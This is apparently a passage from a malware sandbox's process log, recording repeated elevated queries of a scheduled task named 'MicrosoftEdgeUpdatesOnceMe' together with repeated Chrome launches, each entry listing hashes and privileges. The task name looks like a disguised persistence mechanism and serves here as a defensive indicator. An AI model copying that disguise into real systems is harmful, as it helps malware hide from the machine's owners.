Target ID:	59
Start time:	07:54:02
Start date:	29/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Imagebase:	0x7ff629ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 4996, Parent PID: 1700

General

Target ID:	60
Start time:	07:54:02
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	07:54:02
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	07:54:05
Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	07:54:06
Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2032,i,4475010063348466522,12630456280325372382,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	07:54:06
Start date:	29/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Imagebase:	0x7ff629ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7044, Parent PID: 7240

General

Target ID:	66
Start time:	07:54:06
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	07:54:08
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	07:54:12
Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	07:54:12
Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1968,i,58944968473598260,14066714597260275696,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	07:54:17
Start date:	29/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Imagebase:	0x7ff629ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6456, Parent PID: 6432

General

Target ID:	71
Start time:	07:54:17
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	07:54:18
Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	07:54:19
Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1988,i,2397862122718210806,12237267871317461974,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	07:54:19
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	07:54:24
Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	07:54:24
Start date:	29/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Imagebase:	0x7ff629ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 2912, Parent PID: 1928

General

Target ID:	77
Start time:	07:54:24
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	78
Start time:	07:54:25
Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2004 --field-trial-handle=2024,i,1043454292865957278,12392202252195058562,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	79
Start time:	07:54:25
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	80
Start time:	07:54:31
Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	81
Start time:	07:54:31
Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=2012,i,4017807827871240827,294443514438666825,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	82
Start time:	07:54:32
Start date:	29/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Imagebase:	0x7ff629ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 5780, Parent PID: 4324

General

Target ID:	83
Start time:	07:54:32
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	84
Start time:	07:54:32
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	85
Start time:	07:54:37
Start date:	29/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Imagebase:	0x7ff629ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 1244, Parent PID: 4412

General

Target ID:	86
Start time:	07:54:37
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	87
Start time:	07:54:37
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	88
Start time:	07:54:38
Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=532930
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	89
Start time:	07:54:38
Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2000 --field-trial-handle=2004,i,15154464915754026399,3836572238122876390,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	90
Start time:	07:54:44
Start date:	29/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Imagebase:	0x7ff629ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 1992, Parent PID: 1460

General

Target ID:	91
Start time:	07:54:44
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	92
Start time:	07:54:44
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	93
Start time:	07:54:48
Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	94
Start time:	07:54:48
Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1968 --field-trial-handle=1936,i,10198018738591083414,2483585144497047882,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	95
Start time:	07:54:51
Start date:	29/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Imagebase:	0x7ff629ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 4108, Parent PID: 6768

General

Target ID:	96
Start time:	07:54:51
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	97
Start time:	07:54:51
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	98
Start time:	07:54:55
Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	99
Start time:	07:54:55
Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=2008,i,5238929235679066905,12786035706151781453,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	100
Start time:	07:54:56
Start date:	29/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Imagebase:	0x7ff629ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 5220, Parent PID: 6880

General

Target ID:	101
Start time:	07:54:56
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	102
Start time:	07:54:57
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	103
Start time:	07:55:01
Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	104
Start time:	07:55:01
Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2020 --field-trial-handle=1968,i,6157079858765921233,5568951314403497470,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	105
Start time:	07:55:02
Start date:	29/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Imagebase:	0x7ff629ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 2804, Parent PID: 5348

General

Target ID:	106
Start time:	07:55:02
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	107
Start time:	07:55:02
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	108
Start time:	07:55:08
Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	109
Start time:	07:55:08
Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2016,i,15539671429910762002,15161021274924515465,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	110
Start time:	07:55:09
Start date:	29/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Imagebase:	0x7ff629ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 4176, Parent PID: 2724

General

Target ID:	111
Start time:	07:55:09
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	112
Start time:	07:55:09
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	113
Start time:	07:55:13
Start date:	29/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Imagebase:	0x7ff629ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 5268, Parent PID: 2656

General

Target ID:	114
Start time:	07:55:13
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	115
Start time:	07:55:13
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	116
Start time:	07:55:14
